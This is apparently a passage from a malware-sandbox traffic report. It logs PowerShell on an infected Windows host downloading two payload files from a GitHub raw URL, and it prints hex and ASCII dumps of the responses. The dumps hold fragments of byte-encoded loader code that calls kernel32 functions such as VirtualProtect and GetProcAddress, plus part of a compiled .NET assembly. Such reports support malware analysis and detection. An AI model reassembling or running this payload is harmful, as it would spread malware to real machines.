30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 45 2c 20 30 78 30 30 2c 20 30 78 35 41 2c 20 30 78 30 30 2c 20 30 78 Data Ascii: 0x20, 0x00, 0x28, 0x00, 0x68, 0x00, 0x4D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x2E, 0x00, 0x5A, 0x00, 0x
2024-09-16 17:24:31 UTC	1378	IN	Data Raw: 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 31 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 Data Ascii: 0, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00,
2024-09-16 17:24:31 UTC	1378	IN	Data Raw: 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 38 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 35 2c 20 30 78 30 30 2c 20 30 78 37 38 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 Data Ascii: x00, 0x20, 0x00, 0x20, 0x00, 0x74, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x20, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x77, 0x00, 0x20, 0x00, 0x45, 0x00, 0x78, 0x00, 0x63, 0x00, 0x65, 0x00, 0x70, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	51650	185.199.109.133	443	7728	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:24:30 UTC	226	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-16 17:24:30 UTC	904	IN	HTTP/1.1 200 OK Connection: close Content-Length: 18622545 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "7212ed35f7de22eefebda6e2e6a140882d785593e9f94a152721678af4a1b44c" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: C7AB:276216:D1E040:E80BFB:66E869CC Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:24:30 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740049-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1726507471.766815,VS0,VE167 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: f4b37905bd59ef84bb052dcecc191155491812a3 Expires: Mon, 16 Sep 2024 17:29:30 GMT Source-Age: 0
2024-09-16 17:24:30 UTC	1378	IN	Data Raw: 24 62 79 74 65 73 20 3d 20 40 28 30 78 32 34 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 30 2c 20 30 78 30 30 2c 20 30 78 32 32 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 37 39 Data Ascii: $bytes = @(0x24, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x72, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x40, 0x00, 0x22, 0x00, 0x0A, 0x00, 0x75, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x53, 0x00, 0x79
2024-09-16 17:24:30 UTC	1378	IN	Data Raw: 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 36 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 39 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 46 2c 20 30 78 30 30 2c 20 30 78 Data Ascii: 0x73, 0x00, 0x73, 0x00, 0x20, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x20, 0x00, 0x63, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x72, 0x00, 0x69, 0x00, 0x74, 0x00, 0x79, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x2F, 0x00, 0x
2024-09-16 17:24:30 UTC	1378	IN	Data Raw: 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 Data Ascii: 0, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x64, 0x00, 0x65, 0x00, 0x63, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x72, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x73, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00,
2024-09-16 17:24:30 UTC	1378	IN	Data Raw: 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 45 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 36 44 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 39 2c 20 30 78 30 30 2c 20 30 78 33 42 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 Data Ascii: x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x29, 0x00, 0x3B, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00
2024-09-16 17:24:30 UTC	1378	IN	Data Raw: 20 30 78 30 30 2c 20 30 78 34 34 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 44 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 34 42 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 33 33 2c 20 30 78 30 30 2c 20 30 78 33 32 2c 20 30 78 30 30 2c 20 30 78 34 43 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 32 2c 20 30 78 Data Ascii: 0x00, 0x44, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x49, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x74, 0x00, 0x28, 0x00, 0x4B, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x33, 0x00, 0x32, 0x00, 0x4C, 0x00, 0x69, 0x00, 0x62, 0x
2024-09-16 17:24:30 UTC	1378	IN	Data Raw: 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 43 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 Data Ascii: E, 0x00, 0x65, 0x00, 0x77, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x65, 0x00, 0x63, 0x00, 0x74, 0x00, 0x2C, 0x00, 0x20, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x74, 0x00, 0x20, 0x00, 0x75, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x20, 0x00, 0x6C,
2024-09-16 17:24:30 UTC	1378	IN	Data Raw: 78 34 37 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 31 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 Data Ascii: x47, 0x00, 0x65, 0x00, 0x74, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x28, 0x00, 0x73, 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20
2024-09-16 17:24:30 UTC	1378	IN	Data Raw: 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 36 38 2c 20 30 78 30 30 2c 20 30 78 34 44 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 45 2c 20 30 78 30 30 2c 20 30 78 35 41 2c 20 30 78 30 30 2c 20 30 78 Data Ascii: 0x20, 0x00, 0x28, 0x00, 0x68, 0x00, 0x4D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x2E, 0x00, 0x5A, 0x00, 0x
2024-09-16 17:24:30 UTC	1378	IN	Data Raw: 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 31 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 Data Ascii: 0, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00,
2024-09-16 17:24:30 UTC	1378	IN	Data Raw: 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 38 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 35 2c 20 30 78 30 30 2c 20 30 78 37 38 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 Data Ascii: x00, 0x20, 0x00, 0x20, 0x00, 0x74, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x20, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x77, 0x00, 0x20, 0x00, 0x45, 0x00, 0x78, 0x00, 0x63, 0x00, 0x65, 0x00, 0x70, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	51651	185.199.109.133	443	7700	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:24:30 UTC	227	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-16 17:24:30 UTC	902	IN	HTTP/1.1 200 OK Connection: close Content-Length: 159293 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "80ad5dac8b21f93f5913af03c53e98e879731d41370452cf941cf04d26ae655d" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 1236:11106A:10B643:11FC94:66E869C8 Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:24:30 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890046-NYC X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1726507471.849844,VS0,VE98 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 1f264d74a8fb885f6297cda642d34bad8b922a2e Expires: Mon, 16 Sep 2024 17:29:30 GMT Source-Age: 0
2024-09-16 17:24:30 UTC	16384	IN	Data Raw: 24 62 79 74 65 73 20 3d 20 40 28 30 78 32 34 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 30 2c 20 30 78 30 30 2c 20 30 78 32 32 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 37 39 Data Ascii: $bytes = @(0x24, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x72, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x40, 0x00, 0x22, 0x00, 0x0A, 0x00, 0x75, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x53, 0x00, 0x79
2024-09-16 17:24:31 UTC	16384	IN	Data Raw: 20 30 78 30 30 2c 20 30 78 32 45 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 32 32 2c 20 30 78 30 30 2c 20 30 78 32 39 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 34 2c 20 30 78 30 30 2c 20 30 78 37 31 2c 20 30 78 30 30 2c 20 30 78 35 31 2c 20 30 78 30 30 2c 20 30 78 35 31 2c 20 30 78 30 30 2c 20 30 78 33 33 2c 20 30 78 30 30 2c 20 30 78 33 30 2c 20 30 78 30 30 2c 20 30 78 33 32 2c 20 30 78 30 30 2c 20 30 78 33 33 2c 20 30 78 30 30 2c 20 30 78 36 41 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 36 36 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 Data Ascii: 0x00, 0x2E, 0x00, 0x64, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x22, 0x00, 0x29, 0x00, 0x0A, 0x00, 0x24, 0x00, 0x71, 0x00, 0x51, 0x00, 0x51, 0x00, 0x33, 0x00, 0x30, 0x00, 0x32, 0x00, 0x33, 0x00, 0x6A, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x66, 0x00, 0x6F, 0x
2024-09-16 17:24:31 UTC	16384	IN	Data Raw: 32 32 31 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 30 2c 30 2c 34 32 2c 30 2c 30 2c 30 2c 31 2c 31 36 2c 30 2c 30 2c 30 2c 30 2c 36 38 2c 30 2c 38 35 2c 31 35 33 2c 30 2c 31 35 2c 36 38 2c 30 2c 30 2c 31 2c 32 37 2c 34 38 2c 34 2c 30 2c 37 30 2c 31 2c 30 2c 30 2c 31 34 2c 30 2c 30 2c 31 37 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 34 2c 34 2c 30 2c 35 36 2c 34 39 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 34 2c 30 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 2c 35 37 2c 31 30 2c 30 2c 30 2c 30 2c 30 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 34 2c 34 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 34 2c 30 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 2c 35 37 2c 35 2c 30 2c 30 2c 30 2c 35 36 2c 35 2c 30 2c 30 2c 30 2c 35 36 2c Data Ascii: 221,0,0,0,0,254,12,0,0,42,0,0,0,1,16,0,0,0,0,68,0,85,153,0,15,68,0,0,1,27,48,4,0,70,1,0,0,14,0,0,17,32,0,0,0,0,254,14,4,0,56,49,0,0,0,0,254,12,4,0,32,0,0,0,0,254,1,57,10,0,0,0,0,32,1,0,0,0,254,14,4,0,0,254,12,4,0,32,1,0,0,0,254,1,57,5,0,0,0,56,5,0,0,0,56,
2024-09-16 17:24:31 UTC	16384	IN	Data Raw: 2c 30 2c 31 34 32 2c 31 30 35 2c 34 30 2c 31 36 34 2c 30 2c 30 2c 31 30 2c 32 35 34 2c 31 34 2c 32 2c 30 2c 32 35 34 2c 31 32 2c 31 2c 30 2c 32 35 34 2c 31 34 2c 33 2c 30 2c 32 30 2c 32 35 34 2c 31 34 2c 34 2c 30 2c 31 31 34 2c 35 30 2c 36 2c 30 2c 31 31 32 2c 32 35 34 2c 31 34 2c 35 2c 30 2c 33 32 2c 33 2c 30 2c 30 2c 30 2c 31 34 31 2c 31 2c 30 2c 30 2c 31 2c 33 37 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 32 2c 30 2c 34 30 2c 37 30 2c 30 2c 30 2c 31 30 2c 31 36 32 2c 33 37 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 31 34 30 2c 31 30 35 2c 30 2c 30 2c 31 2c 31 36 32 2c 33 37 2c 33 32 2c 32 2c 30 2c 30 2c 30 2c 33 32 2c 34 2c 30 2c 30 2c 30 2c 31 34 30 2c 31 30 35 2c 30 2c 30 2c 31 2c 31 36 32 2c 32 35 34 2c 31 34 Data Ascii: ,0,142,105,40,164,0,0,10,254,14,2,0,254,12,1,0,254,14,3,0,20,254,14,4,0,114,50,6,0,112,254,14,5,0,32,3,0,0,0,141,1,0,0,1,37,32,0,0,0,0,254,12,2,0,40,70,0,0,10,162,37,32,1,0,0,0,32,0,0,0,0,140,105,0,0,1,162,37,32,2,0,0,0,32,4,0,0,0,140,105,0,0,1,162,254,14
